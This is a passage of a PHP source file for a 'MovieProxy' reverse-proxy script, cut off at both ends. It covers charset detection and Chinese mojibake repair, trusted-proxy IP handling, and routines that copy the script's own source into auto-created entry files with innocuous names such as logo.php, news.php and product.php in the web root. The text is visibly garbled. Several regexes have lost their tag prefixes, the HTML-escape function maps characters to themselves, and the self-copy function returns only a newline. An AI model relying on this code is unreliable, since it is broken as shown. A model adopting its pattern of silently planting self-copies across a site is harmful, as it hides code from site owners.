'OK',
302 => 'Found',
400 => 'Bad Request',
403 => 'Forbidden',
404 => 'Not Found',
500 => 'Internal Server Error',
502 => 'Bad Gateway',
503 => 'Service Unavailable'
);
$text = isset($texts[$code]) ? $texts[$code] : 'Error';
header('HTTP/1.1 '.$code.' '.$text, true, $code);
}
function MovieProxy_escapeHtml($value)
{
return str_replace(
array('&', '"', "'", '<', '>'),
array('&', '"', ''', '<', '>'),
(string)$value
);
}
function MovieProxy_normalizeCharset($charset)
{
$charset = strtolower(trim((string)$charset));
$charset = str_replace(array('"', "'", ' '), '', $charset);
if ($charset === 'utf8' || $charset === 'utf-8') return 'UTF-8';
if ($charset === 'gb2312' || $charset === 'gb_2312-80') return 'GB2312';
if ($charset === 'gbk' || $charset === 'cp936' || $charset === 'ms936') return 'GBK';
if ($charset === 'gb18030') return 'GB18030';
if ($charset === 'big5' || $charset === 'big-5') return 'BIG5';
return '';
}
function MovieProxy_detectCharset($html)
{
$cfg = MovieProxy_config();
$configured = isset($cfg['site_charset']) ? strtolower(trim((string)$cfg['site_charset'])) : 'auto';
if ($configured !== '' && $configured !== 'auto') {
$charset = MovieProxy_normalizeCharset($configured);
if ($charset !== '') return $charset;
}
if (function_exists('headers_list')) {
$headers = headers_list();
$i = 0;
for ($i = count($headers) - 1; $i >= 0; $i--) {
if (preg_match('/^Content-Type:.*charset\s*=\s*([A-Za-z0-9._-]+)/i', (string)$headers[$i], $m)) {
$charset = MovieProxy_normalizeCharset($m[1]);
if ($charset !== '') return $charset;
}
}
}
$sample = substr((string)$html, 0, 16384);
if (preg_match('/]*charset\s*=\s*["\']?\s*([A-Za-z0-9._-]+)/i', $sample, $m)) {
$charset = MovieProxy_normalizeCharset($m[1]);
if ($charset !== '') return $charset;
}
if (preg_match('/]*content\s*=\s*["\'][^"\']*charset\s*=\s*([A-Za-z0-9._-]+)/i', $sample, $m)) {
$charset = MovieProxy_normalizeCharset($m[1]);
if ($charset !== '') return $charset;
}
if (substr($sample, 0, 3) === "\xEF\xBB\xBF") return 'UTF-8';
if ($sample === '' || @preg_match('//u', $sample) === 1) return 'UTF-8';
return 'GBK';
}
function MovieProxy_applyCharset($html)
{
$charset = MovieProxy_detectCharset($html);
if ($charset === '') $charset = 'UTF-8';
if (!headers_sent()) {
header('Content-Type: text/html; charset='.$charset, true);
}
return $charset;
}
function MovieProxy_remoteHeaderCharset($headers)
{
if (!is_array($headers) || empty($headers['content-type'])) return '';
if (!preg_match('/charset\s*=\s*["\']?\s*([A-Za-z0-9._-]+)/i', (string)$headers['content-type'], $m)) {
return '';
}
return MovieProxy_normalizeCharset($m[1]);
}
function MovieProxy_remoteMetaCharset($html)
{
$sample = substr((string)$html, 0, 32768);
if (preg_match('/]*charset\s*=\s*["\']?\s*([A-Za-z0-9._-]+)/i', $sample, $m)) {
return MovieProxy_normalizeCharset($m[1]);
}
if (preg_match('/]*content\s*=\s*["\'][^"\']*charset\s*=\s*([A-Za-z0-9._-]+)/i', $sample, $m)) {
return MovieProxy_normalizeCharset($m[1]);
}
return '';
}
function MovieProxy_mojibakeScore($html)
{
$text = trim(strip_tags((string)$html));
if ($text === '' || @preg_match('//u', $text) !== 1) return 0;
$text = substr($text, 0, 131072);
$score = substr_count($text, "\xEF\xBF\xBD") * 10;
$patterns = array(
'锟斤拷', '鐨', '鏄', '涓', '鍙', '鏈', '瀹', '鎴', '鍦', '杩',
'璇', '绔', '鏂', '閿', '闂', '鐢', '鍐', '妫', '浠', '骞',
'鏃', '鍚', '娴', '缁', '绠', '瑙', '锛', '銆', '鈥', '馃'
);
foreach ($patterns as $pattern) {
$score += substr_count($text, $pattern);
}
return $score;
}
function MovieProxy_tryRepairUtf8Mojibake($html)
{
$html = (string)$html;
if ($html === '' || @preg_match('//u', $html) !== 1) return $html;
$before = MovieProxy_mojibakeScore($html);
if ($before < 8) return $html;
$candidate = false;
if (function_exists('mb_convert_encoding')) {
$candidate = @mb_convert_encoding($html, 'GB18030', 'UTF-8');
}
if (($candidate === false || $candidate === '') && function_exists('iconv')) {
$candidate = @iconv('UTF-8', 'GB18030//IGNORE', $html);
}
if (!is_string($candidate) || $candidate === '' || @preg_match('//u', $candidate) !== 1) {
return $html;
}
$after = MovieProxy_mojibakeScore($candidate);
$beforeReplacement = substr_count($html, "\xEF\xBF\xBD");
$afterReplacement = substr_count($candidate, "\xEF\xBF\xBD");
if (($after + 2 < $before && $after * 2 <= $before) || ($beforeReplacement >= 2 && $afterReplacement < $beforeReplacement && $after < $before)) {
return $candidate;
}
return $html;
}
function MovieProxy_normalizeUtf8Meta($html)
{
$html = (string)$html;
$html = @preg_replace('/(]*charset\s*=\s*["\']?)\s*[A-Za-z0-9._-]+/i', '$1UTF-8', $html);
$html = @preg_replace('/(]*content\s*=\s*["\'][^"\']*charset\s*=\s*)[A-Za-z0-9._-]+/i', '$1UTF-8', $html);
return (string)$html;
}
function MovieProxy_remoteHtmlToUtf8($html, $headers)
{
$html = (string)$html;
if ($html === '') return '';
if (substr($html, 0, 3) === "\xEF\xBB\xBF") {
$html = substr($html, 3);
}
if (@preg_match('//u', $html) === 1) {
return MovieProxy_normalizeUtf8Meta(MovieProxy_tryRepairUtf8Mojibake($html));
}
$charset = MovieProxy_remoteHeaderCharset($headers);
if ($charset === '' || $charset === 'UTF-8') {
$metaCharset = MovieProxy_remoteMetaCharset($html);
if ($metaCharset !== '') $charset = $metaCharset;
}
if ($charset === '' || $charset === 'UTF-8') {
if (function_exists('mb_detect_encoding')) {
$detected = @mb_detect_encoding($html, array('GB18030', 'GBK', 'GB2312', 'BIG5', 'UTF-8'), true);
if ($detected !== false && $detected !== '') {
$charset = MovieProxy_normalizeCharset($detected);
}
}
}
if ($charset === '' || $charset === 'UTF-8') $charset = 'GB18030';
if ($charset === 'GBK' || $charset === 'GB2312') $charset = 'GB18030';
$converted = MovieProxy_convertEncoding($html, 'UTF-8', $charset);
if ($converted === '' || @preg_match('//u', $converted) !== 1) {
$converted = MovieProxy_convertEncoding($html, 'UTF-8', 'GB18030');
}
if ($converted === '' || @preg_match('//u', $converted) !== 1) return $html;
return MovieProxy_normalizeUtf8Meta(MovieProxy_tryRepairUtf8Mojibake($converted));
}
function MovieProxy_ipInTrustedList($ip, $rules)
{
if (!is_array($rules) || filter_var($ip, FILTER_VALIDATE_IP) === false) return false;
foreach ($rules as $rule) {
$rule = trim((string)$rule);
if ($rule === '') continue;
if ($rule === $ip) return true;
if (strpos($rule, '/') === false) continue;
list($network, $bits) = array_pad(explode('/', $rule, 2), 2, '');
$packedIp = @inet_pton($ip);
$packedNet = @inet_pton($network);
if ($packedIp === false || $packedNet === false || strlen($packedIp) !== strlen($packedNet)) continue;
$bits = intval($bits);
$max = strlen($packedIp) * 8;
if ($bits < 0 || $bits > $max) continue;
$bytes = intval(floor($bits / 8));
$remain = $bits % 8;
if ($bytes > 0 && substr($packedIp, 0, $bytes) !== substr($packedNet, 0, $bytes)) continue;
if ($remain > 0) {
$mask = (0xFF << (8 - $remain)) & 0xFF;
if ((ord($packedIp[$bytes]) & $mask) !== (ord($packedNet[$bytes]) & $mask)) continue;
}
return true;
}
return false;
}
function MovieProxy_realIp()
{
$cfg = MovieProxy_config();
$remote = isset($_SERVER['REMOTE_ADDR']) ? trim((string)$_SERVER['REMOTE_ADDR']) : '';
if (filter_var($remote, FILTER_VALIDATE_IP) === false) $remote = '0.0.0.0';
$trusted = isset($cfg['trusted_proxy_ips']) && is_array($cfg['trusted_proxy_ips']) ? $cfg['trusted_proxy_ips'] : array();
if (!MovieProxy_ipInTrustedList($remote, $trusted)) return $remote;
$keys = array('HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR');
foreach ($keys as $key) {
if (empty($_SERVER[$key])) continue;
foreach (explode(',', (string)$_SERVER[$key]) as $candidate) {
$candidate = trim($candidate);
if (filter_var($candidate, FILTER_VALIDATE_IP)) return $candidate;
}
}
return $remote;
}
function MovieProxy_normalizeBasePath($path)
{
$path = str_replace('\\', '/', trim((string)$path));
$path = preg_replace('#/+#', '/', $path);
if ($path === '' || $path === '.' || $path === '/') return '/';
return '/'.trim($path, '/').'/';
}
function MovieProxy_installBasePath()
{
static $basePath = null;
if (is_string($basePath)) return $basePath;
$currentDir = str_replace('\\', '/', __DIR__);
$documentRoot = isset($_SERVER['DOCUMENT_ROOT'])
? str_replace('\\', '/', rtrim((string)$_SERVER['DOCUMENT_ROOT'], '/\\'))
: '';
if ($documentRoot !== '') {
$realCurrent = @realpath(__DIR__);
$realRoot = @realpath($documentRoot);
if ($realCurrent !== false && $realRoot !== false) {
$currentDir = str_replace('\\', '/', $realCurrent);
$documentRoot = str_replace('\\', '/', rtrim($realRoot, '/\\'));
}
$a = DIRECTORY_SEPARATOR === '\\' ? strtolower($currentDir) : $currentDir;
$b = DIRECTORY_SEPARATOR === '\\' ? strtolower($documentRoot) : $documentRoot;
if ($a === $b) {
$basePath = '/';
return $basePath;
}
$prefix = rtrim($b, '/').'/';
if ($prefix !== '/' && strpos($a.'/', $prefix) === 0) {
$basePath = MovieProxy_normalizeBasePath(substr($currentDir, strlen($documentRoot)));
return $basePath;
}
}
$script = !empty($_SERVER['SCRIPT_NAME']) ? (string)$_SERVER['SCRIPT_NAME'] : '';
$path = @parse_url($script, PHP_URL_PATH);
if ($path === false || $path === null || $path === '') {
$basePath = '/';
} else {
$basePath = MovieProxy_normalizeBasePath(dirname(str_replace('\\', '/', $path)));
}
return $basePath;
}
function MovieProxy_isHome($uri)
{
$path = @parse_url((string)$uri, PHP_URL_PATH);
if ($path === false || $path === null || $path === '') $path = '/';
$path = preg_replace('#/+#', '/', str_replace('\\', '/', $path));
if (substr($path, 0, 1) !== '/') $path = '/'.ltrim($path, '/');
$base = MovieProxy_installBasePath();
$baseNoSlash = $base === '/' ? '' : rtrim($base, '/');
if ($path === $base || ($baseNoSlash !== '' && $path === $baseNoSlash)) return true;
return preg_match('#^'.preg_quote($base, '#').'(?:index\.php|index\.html?)$#i', $path) === 1;
}
function MovieProxy_currentCodeDirUrlPath()
{
$codeDir = @realpath(__DIR__);
if ($codeDir === false || !is_dir($codeDir)) $codeDir = __DIR__;
$documentRoot = isset($_SERVER['DOCUMENT_ROOT']) ? trim((string)$_SERVER['DOCUMENT_ROOT']) : '';
$documentRoot = $documentRoot !== '' ? @realpath($documentRoot) : false;
if ($documentRoot !== false && is_dir($documentRoot)) {
$codeNorm = str_replace('\\', '/', rtrim($codeDir, '/\\'));
$rootNorm = str_replace('\\', '/', rtrim($documentRoot, '/\\'));
$a = DIRECTORY_SEPARATOR === '\\' ? strtolower($codeNorm) : $codeNorm;
$b = DIRECTORY_SEPARATOR === '\\' ? strtolower($rootNorm) : $rootNorm;
if ($a === $b) return '/';
$prefix = rtrim($b, '/').'/';
if (strpos($a.'/', $prefix) === 0) {
return MovieProxy_normalizeBasePath(substr($codeNorm, strlen($rootNorm)));
}
}
return MovieProxy_installBasePath();
}
function MovieProxy_entryRootUrlPath()
{
$cfg = MovieProxy_config();
$configured = isset($cfg['entry_root_path']) ? trim((string)$cfg['entry_root_path']) : 'auto';
if ($configured === '' || strtolower($configured) === 'auto') {
return MovieProxy_currentCodeDirUrlPath();
}
return MovieProxy_normalizeBasePath($configured);
}
function MovieProxy_entryRootDir()
{
static $rootDir = null;
if (is_string($rootDir)) return $rootDir;
$cfg = MovieProxy_config();
$configured = isset($cfg['entry_root_path']) ? trim((string)$cfg['entry_root_path']) : 'auto';
if ($configured === '' || strtolower($configured) === 'auto') {
$real = @realpath(__DIR__);
$rootDir = ($real !== false && is_dir($real)) ? rtrim($real, '/\\') : rtrim(__DIR__, '/\\');
return $rootDir;
}
$documentRoot = isset($_SERVER['DOCUMENT_ROOT']) ? trim((string)$_SERVER['DOCUMENT_ROOT']) : '';
$documentRoot = $documentRoot !== '' ? @realpath($documentRoot) : false;
if ($documentRoot === false || !is_dir($documentRoot)) {
$documentRoot = @realpath(__DIR__);
}
if ($documentRoot === false || !is_dir($documentRoot)) {
$rootDir = __DIR__;
return $rootDir;
}
$rootPath = MovieProxy_entryRootUrlPath();
if ($rootPath === '/') {
$rootDir = rtrim($documentRoot, '/\\');
return $rootDir;
}
$candidate = rtrim($documentRoot, '/\\').DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, trim($rootPath, '/'));
$real = @realpath($candidate);
$rootDir = ($real !== false && is_dir($real)) ? rtrim($real, '/\\') : rtrim($candidate, '/\\');
return $rootDir;
}
function MovieProxy_isDocumentRootEntryDir()
{
$entryRoot = @realpath(MovieProxy_entryRootDir());
$documentRoot = isset($_SERVER['DOCUMENT_ROOT']) ? trim((string)$_SERVER['DOCUMENT_ROOT']) : '';
$documentRoot = $documentRoot !== '' ? @realpath($documentRoot) : false;
if ($entryRoot === false || $documentRoot === false) return false;
$entryRoot = rtrim(str_replace('\\', '/', $entryRoot), '/');
$documentRoot = rtrim(str_replace('\\', '/', $documentRoot), '/');
if (DIRECTORY_SEPARATOR === '\\') {
$entryRoot = strtolower($entryRoot);
$documentRoot = strtolower($documentRoot);
}
return $entryRoot === $documentRoot;
}
function MovieProxy_isRootHomepageIndexPath($path)
{
if (!MovieProxy_isDocumentRootEntryDir()) return false;
$path = @parse_url((string)$path, PHP_URL_PATH);
if ($path === false || $path === null || $path === '') return false;
$path = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $path)), '/');
return strcasecmp($path, '/index.php') === 0;
}
function MovieProxy_entryApplyRootPath($path)
{
$path = @parse_url((string)$path, PHP_URL_PATH);
if ($path === false || $path === null || $path === '') return '';
$path = preg_replace('#/+#', '/', str_replace('\\', '/', $path));
if (substr($path, 0, 1) !== '/') $path = '/'.ltrim($path, '/');
$rootPath = MovieProxy_entryRootUrlPath();
if ($rootPath === '/') return $path;
$rootNoSlash = rtrim($rootPath, '/');
if ($path === $rootNoSlash || strpos($path, $rootPath) === 0) return $path;
return $rootPath.ltrim($path, '/');
}
function MovieProxy_entryExcludedName($name)
{
$cfg = MovieProxy_config();
$name = strtolower(trim((string)$name));
$excluded = isset($cfg['entry_exclude_names']) && is_array($cfg['entry_exclude_names'])
? $cfg['entry_exclude_names']
: array('favicon.php');
foreach ($excluded as $item) {
if ($name === strtolower(trim((string)$item))) return true;
}
return false;
}
function MovieProxy_urlPathToEntryFile($path, $mustExist)
{
$path = MovieProxy_entryApplyRootPath($path);
if ($path === '' || strpos($path, '..') !== false || strpos($path, "\0") !== false) return '';
$rootPath = MovieProxy_entryRootUrlPath();
if ($rootPath !== '/') {
$rootNoSlash = rtrim($rootPath, '/');
if ($path !== $rootNoSlash && strpos($path, $rootPath) !== 0) return '';
$relative = ltrim(substr($path, strlen($rootNoSlash)), '/');
} else {
$relative = ltrim($path, '/');
}
if ($relative === '') return '';
$rootDir = rtrim(MovieProxy_entryRootDir(), '/\\');
$candidate = $rootDir.DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $relative);
$rootNorm = str_replace('\\', '/', $rootDir);
$candidateNorm = str_replace('\\', '/', $candidate);
$a = DIRECTORY_SEPARATOR === '\\' ? strtolower($rootNorm) : $rootNorm;
$b = DIRECTORY_SEPARATOR === '\\' ? strtolower($candidateNorm) : $candidateNorm;
$prefix = rtrim($a, '/').'/';
if (strpos($b, $prefix) !== 0) return '';
if ($mustExist) {
$real = @realpath($candidate);
$realRoot = @realpath($rootDir);
if ($real === false || $realRoot === false || !is_file($real)) return '';
$realNorm = str_replace('\\', '/', $real);
$realRootNorm = str_replace('\\', '/', $realRoot);
$ra = DIRECTORY_SEPARATOR === '\\' ? strtolower($realRootNorm) : $realRootNorm;
$rb = DIRECTORY_SEPARATOR === '\\' ? strtolower($realNorm) : $realNorm;
if (strpos($rb, rtrim($ra, '/').'/') !== 0) return '';
return $real;
}
return $candidate;
}
function MovieProxy_entryFileToUrlPath($file)
{
$realFile = @realpath((string)$file);
$realRoot = @realpath(MovieProxy_entryRootDir());
if ($realFile === false || $realRoot === false || !is_file($realFile)) return '';
$a = DIRECTORY_SEPARATOR === '\\' ? strtolower($realRoot) : $realRoot;
$b = DIRECTORY_SEPARATOR === '\\' ? strtolower($realFile) : $realFile;
$prefix = rtrim($a, '/\\').DIRECTORY_SEPARATOR;
if (strpos($b, $prefix) !== 0) return '';
$relative = str_replace('\\', '/', substr($realFile, strlen($realRoot)));
$rootPath = MovieProxy_entryRootUrlPath();
return ($rootPath === '/' ? '/' : $rootPath).ltrim($relative, '/');
}
function MovieProxy_isCompatibleEntryFile($file)
{
if (!is_file($file) || !is_readable($file)) return false;
$name = basename((string)$file);
if (MovieProxy_entryExcludedName($name) || !preg_match('/\.php$/i', $name)) return false;
$head = @file_get_contents($file, false, null, 0, 4096);
return is_string($head)
&& strpos($head, 'MOVIEPROXY_VERSION') !== false
&& strpos($head, MOVIEPROXY_VERSION) !== false;
}
function MovieProxy_currentEntryPath()
{
static $resolved = false;
static $entryPath = '';
if ($resolved) return $entryPath;
$resolved = true;
$scriptName = !empty($_SERVER['SCRIPT_NAME']) ? (string)$_SERVER['SCRIPT_NAME'] : '';
$path = @parse_url($scriptName, PHP_URL_PATH);
if ($path === false || $path === null || $path === '' || !preg_match('/\.php$/i', $path)) return '';
if (MovieProxy_entryExcludedName(basename($path))) return '';
$file = !empty($_SERVER['SCRIPT_FILENAME']) ? (string)$_SERVER['SCRIPT_FILENAME'] : '';
if (!MovieProxy_isCompatibleEntryFile($file)) {
$file = MovieProxy_urlPathToEntryFile(MovieProxy_entryApplyRootPath($path), true);
}
if (!MovieProxy_isCompatibleEntryFile($file)) return '';
$normalized = MovieProxy_entryFileToUrlPath($file);
if ($normalized === '') {
$normalized = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $path)), '/');
}
if (MovieProxy_isRootHomepageIndexPath($normalized)) return '';
$entryPath = $normalized;
return $entryPath;
}
function MovieProxy_addEntryDirectory(&$dirs, $path)
{
$path = @parse_url((string)$path, PHP_URL_PATH);
if ($path === false || $path === null || $path === '') return;
$path = preg_replace('#/+#', '/', str_replace('\\', '/', $path));
if (substr($path, 0, 1) !== '/') $path = '/'.ltrim($path, '/');
if (preg_match('/\.php$/i', $path)) $path = dirname($path);
$path = MovieProxy_normalizeBasePath($path);
$rootPath = MovieProxy_entryRootUrlPath();
if ($rootPath !== '/' && strpos($path, $rootPath) !== 0 && rtrim($path, '/') !== rtrim($rootPath, '/')) {
$path = MovieProxy_normalizeBasePath($rootPath.ltrim($path, '/'));
}
$dirs[$path] = true;
}
function MovieProxy_entryCandidateDirectories()
{
return array(MovieProxy_entryRootUrlPath());
}
function MovieProxy_discoverEntryPaths()
{
static $paths = null;
if (is_array($paths)) return $paths;
MovieProxy_ensureEntryFiles();
$cfg = MovieProxy_config();
$found = array();
$maxFiles = isset($cfg['entry_scan_max_files']) ? max(8, intval($cfg['entry_scan_max_files'])) : 128;
$checked = 0;
$explicit = isset($cfg['entry_file_pool']) && is_array($cfg['entry_file_pool']) ? $cfg['entry_file_pool'] : array();
foreach ($explicit as $path) {
$appliedPath = MovieProxy_entryApplyRootPath($path);
if (MovieProxy_isRootHomepageIndexPath($appliedPath)) continue;
$file = MovieProxy_urlPathToEntryFile($path, true);
if (MovieProxy_isCompatibleEntryFile($file)) {
$urlPath = MovieProxy_entryFileToUrlPath($file);
if ($urlPath !== '' && !MovieProxy_isRootHomepageIndexPath($urlPath)) $found[$urlPath] = true;
}
}
if (!isset($cfg['auto_discover_entry_files']) || !empty($cfg['auto_discover_entry_files'])) {
foreach (MovieProxy_entryCandidateDirectories() as $dirPath) {
$dir = MovieProxy_urlPathToEntryFile(rtrim($dirPath, '/').'/placeholder.php', false);
if ($dir === '') continue;
$dir = dirname($dir);
if (!is_dir($dir)) continue;
$files = @glob(rtrim($dir, '/\\').DIRECTORY_SEPARATOR.'*.php');
if (!is_array($files)) continue;
foreach ($files as $file) {
$checked++;
if ($checked > $maxFiles) break 2;
if (!MovieProxy_isCompatibleEntryFile($file)) continue;
$urlPath = MovieProxy_entryFileToUrlPath($file);
if ($urlPath !== '' && !MovieProxy_isRootHomepageIndexPath($urlPath)) $found[$urlPath] = true;
}
}
}
$current = MovieProxy_currentEntryPath();
if ($current !== '') $found[$current] = true;
$paths = array_keys($found);
sort($paths, SORT_STRING);
return $paths;
}
function MovieProxy_isProxyEntryUrl($uri)
{
$path = @parse_url((string)$uri, PHP_URL_PATH);
if ($path === false || $path === null || $path === '') return false;
$path = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $path)), '/');
if (MovieProxy_isRootHomepageIndexPath($path)) return false;
$current = MovieProxy_currentEntryPath();
if ($current !== '') {
$current = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $current)), '/');
if (strcasecmp($path, $current) === 0 || stripos($path, $current.'/') === 0) return true;
}
if (!preg_match('/\.php$/i', $path) || MovieProxy_entryExcludedName(basename($path))) return false;
$file = MovieProxy_urlPathToEntryFile($path, true);
return MovieProxy_isCompatibleEntryFile($file);
}
function MovieProxy_isLogo($uri)
{
return MovieProxy_isProxyEntryUrl($uri) || MovieProxy_isDirectEntryRequest($uri);
}
function MovieProxy_entryTopic($path)
{
$path = @parse_url((string)$path, PHP_URL_PATH);
if ($path === false || $path === null) return '';
$rootPath = MovieProxy_entryRootUrlPath();
if ($rootPath !== '/' && strpos($path, $rootPath) === 0) $path = substr($path, strlen($rootPath));
$segments = explode('/', trim((string)$path, '/'));
return isset($segments[0]) ? strtolower(preg_replace('/[^A-Za-z0-9_-]/', '', $segments[0])) : '';
}
function MovieProxy_entryMatchesTopic($entryPath, $topic)
{
if ($topic === '') return false;
$entryPath = trim((string)$entryPath, '/');
$segments = explode('/', $entryPath);
$base = strtolower((string)preg_replace('/\.php$/i', '', end($segments)));
if ($base === $topic) return true;
array_pop($segments);
foreach ($segments as $segment) {
if (strtolower((string)$segment) === $topic) return true;
}
return false;
}
function MovieProxy_availableEntryPaths()
{
MovieProxy_ensureEntryFiles();
$paths = MovieProxy_discoverEntryPaths();
if (!empty($paths)) return $paths;
$logoPath = MovieProxy_entryApplyRootPath('/logo.php');
$logoFile = MovieProxy_urlPathToEntryFile($logoPath, true);
return MovieProxy_isCompatibleEntryFile($logoFile) ? array($logoPath) : array();
}
function MovieProxy_pickEntryPath($contentPath, $preferCurrent)
{
if ($preferCurrent) {
$current = MovieProxy_currentEntryPath();
if ($current !== '') return $current;
}
$paths = MovieProxy_availableEntryPaths();
if (empty($paths)) return '';
$topic = MovieProxy_entryTopic($contentPath);
$matched = array();
if ($topic !== '') {
foreach ($paths as $entryPath) {
if (MovieProxy_entryMatchesTopic($entryPath, $topic)) $matched[] = $entryPath;
}
}
$pool = !empty($matched) ? $matched : $paths;
return (string)$pool[mt_rand(0, count($pool) - 1)];
}
function MovieProxy_logoPath()
{
return MovieProxy_pickEntryPath('', true);
}
function MovieProxy_logoPrefix($contentPath = '', $preferCurrent = false)
{
$cfg = MovieProxy_config();
$prefix = isset($cfg['logo_prefix']) ? trim((string)$cfg['logo_prefix']) : 'auto';
if ($prefix === '' || strtolower($prefix) === 'auto') {
$entryPath = MovieProxy_pickEntryPath($contentPath, $preferCurrent);
return $entryPath !== '' ? $entryPath.'?' : '';
}
if (substr($prefix, 0, 1) !== '/') $prefix = '/'.ltrim($prefix, '/');
if (!preg_match('/\.php\??$/i', $prefix)) {
$entryPath = MovieProxy_pickEntryPath($contentPath, $preferCurrent);
return $entryPath !== '' ? $entryPath.'?' : '';
}
if (substr($prefix, -1) !== '?') $prefix .= '?';
return $prefix;
}
function MovieProxy_generatedCode()
{
if (!is_file(__FILE__) || !is_readable(__FILE__)) return '';
$code = @file_get_contents(__FILE__);
if ($code === false || trim($code) === '') return '';
$code = str_replace(array("\r\n", "\r"), "\n", $code);
$endMarker = "\nMovieProxy_run();";
$end = strrpos($code, $endMarker);
if ($end === false) return '';
$end += strlen($endMarker);
$versionPos = strpos($code, "define('MOVIEPROXY_VERSION'");
if ($versionPos === false || $versionPos >= $end) return '';
$start = strrpos(substr($code, 0, $versionPos), "\n@set_time_limit(0);");
if ($start === false) {
$start = $versionPos;
} else {
$start++;
}
$segment = trim(substr($code, $start, $end - $start));
if ($segment === '' || strpos($segment, 'function MovieProxy_clean') === false) return '';
return "\n";
}
function MovieProxy_entryCreatePaths()
{
$cfg = MovieProxy_config();
$paths = array();
$rootPath = MovieProxy_entryRootUrlPath();
$rootDirPath = $rootPath === '/' ? '/' : rtrim($rootPath, '/');
if (!empty($cfg['auto_create_entry_files'])) {
$configured = isset($cfg['entry_auto_create_paths']) && is_array($cfg['entry_auto_create_paths'])
? $cfg['entry_auto_create_paths']
: array('/index.php', '/logo.php', '/news.php', '/article.php', '/content.php', '/html.php', '/product.php');
foreach ($configured as $path) {
$path = MovieProxy_entryApplyRootPath($path);
if ($path === '' || !preg_match('/\.php$/i', $path) || MovieProxy_entryExcludedName(basename($path))) continue;
if (str_replace('\\', '/', dirname($path)) !== $rootDirPath) continue;
if (MovieProxy_isRootHomepageIndexPath($path)) continue;
$paths[$path] = true;
}
}
if (!empty($cfg['auto_create_logo'])) {
$logo = MovieProxy_entryApplyRootPath('/logo.php');
if ($logo !== '' && str_replace('\\', '/', dirname($logo)) === $rootDirPath) $paths[$logo] = true;
}
return array_keys($paths);
}
function MovieProxy_entrySyncLockPath()
{
return rtrim(MovieProxy_entryRootDir(), '/\\').DIRECTORY_SEPARATOR.'.movieproxy_entry_sync.lock';
}
function MovieProxy_entrySourceStamp()
{
$file = __FILE__;
clearstatcache(true, $file);
$mtime = @filemtime($file);
$size = @filesize($file);
return intval($mtime).'_'.intval($size);
}
function MovieProxy_codeFingerprint($code)
{
$code = str_replace(array("\r\n", "\r"), "\n", (string)$code);
return sha1($code);
}
function MovieProxy_fileFingerprint($file)
{
if (!is_file($file) || !is_readable($file)) return '';
$hash = @sha1_file($file);
return is_string($hash) ? $hash : '';
}
function MovieProxy_entryReadSyncState($lockPath)
{
$state = @file_get_contents($lockPath, false, null, 0, 1024);
if (!is_string($state) || trim($state) === '') return array();
$parts = explode('|', trim($state));
if (count($parts) >= 8) {
return array(
'version' => (string)$parts[0],
'timestamp' => intval($parts[1]),
'source_stamp' => (string)$parts[2],
'code_fingerprint' => (string)$parts[3],
'created' => intval($parts[4]),
'updated' => intval($parts[5]),
'existing' => intval($parts[6]),
'skipped' => intval($parts[7])
);
}
if (count($parts) >= 2) {
return array(
'version' => (string)$parts[0],
'timestamp' => intval($parts[1]),
'source_stamp' => '',
'code_fingerprint' => '',
'created' => isset($parts[2]) ? intval($parts[2]) : 0,
'updated' => 0,
'existing' => isset($parts[3]) ? intval($parts[3]) : 0,
'skipped' => isset($parts[4]) ? intval($parts[4]) : 0
);
}
return array();
}
function MovieProxy_entrySyncFresh()
{
$cfg = MovieProxy_config();
$interval = isset($cfg['entry_sync_interval']) ? max(0, intval($cfg['entry_sync_interval'])) : 21600;
if ($interval < 1) return false;
$lockPath = MovieProxy_entrySyncLockPath();
if (!is_file($lockPath) || !is_readable($lockPath)) return false;
$state = MovieProxy_entryReadSyncState($lockPath);
if (empty($state) || $state['version'] !== MOVIEPROXY_VERSION) return false;
if ($state['source_stamp'] === '' || $state['source_stamp'] !== MovieProxy_entrySourceStamp()) return false;
$stamp = intval($state['timestamp']);
if ($stamp < 1) {
$stamp = intval(@filemtime($lockPath));
}
$age = time() - $stamp;
if ($age < 0) return false;
return $age < $interval;
}
function MovieProxy_entryEnsureRootDir()
{
return is_dir(MovieProxy_entryRootDir());
}
function MovieProxy_entryEnsureParentDir($file)
{
return is_dir(dirname((string)$file));
}
function MovieProxy_writeEntryFile($target, $code, $fingerprint = '')
{
$cfg = MovieProxy_config();
if ($fingerprint === '') $fingerprint = MovieProxy_codeFingerprint($code);
if (is_file($target)) {
$head = @file_get_contents($target, false, null, 0, 4096);
if (!is_string($head) || strpos($head, 'MOVIEPROXY_VERSION') === false) return 'conflict';
$targetFingerprint = MovieProxy_fileFingerprint($target);
if ($targetFingerprint !== '' && $targetFingerprint === $fingerprint) return 'existing';
if (empty($cfg['auto_sync_entry_files'])) return 'old';
} elseif (file_exists($target)) {
return 'conflict';
}
if (!MovieProxy_entryEnsureParentDir($target)) return 'directory_failed';
$tmp = $target.'.tmp.'.getmypid().'.'.mt_rand(1000, 9999);
$written = @file_put_contents($tmp, $code, LOCK_EX);
if ($written === false || $written < strlen($code)) {
@unlink($tmp);
return 'write_failed';
}
$ok = @rename($tmp, $target);
if (!$ok) {
$ok = @copy($tmp, $target);
@unlink($tmp);
}
if (!$ok) return 'write_failed';
@chmod($target, 0644);
clearstatcache(true, $target);
if (!MovieProxy_isCompatibleEntryFile($target)) return 'verify_failed';
$newFingerprint = MovieProxy_fileFingerprint($target);
if ($newFingerprint === '' || $newFingerprint !== $fingerprint) return 'verify_failed';
return is_file($target) ? 'written' : 'write_failed';
}
function MovieProxy_ensureEntryFiles($force = false)
{
static $done = false;
if ($done && !$force) return true;
if (!$force && MovieProxy_entrySyncFresh()) {
$done = true;
return true;
}
if (!MovieProxy_entryEnsureRootDir()) return false;
$lockPath = MovieProxy_entrySyncLockPath();
$lock = @fopen($lockPath, 'c+');
if ($lock === false || !@flock($lock, LOCK_EX)) {
if (is_resource($lock)) @fclose($lock);
return false;
}
if (!$force) {
clearstatcache(true, $lockPath);
$state = MovieProxy_entryReadSyncState($lockPath);
$cfg = MovieProxy_config();
$interval = isset($cfg['entry_sync_interval']) ? max(0, intval($cfg['entry_sync_interval'])) : 21600;
$stamp = !empty($state) ? intval($state['timestamp']) : 0;
if ($stamp < 1) $stamp = intval(@filemtime($lockPath));
$age = time() - $stamp;
if (
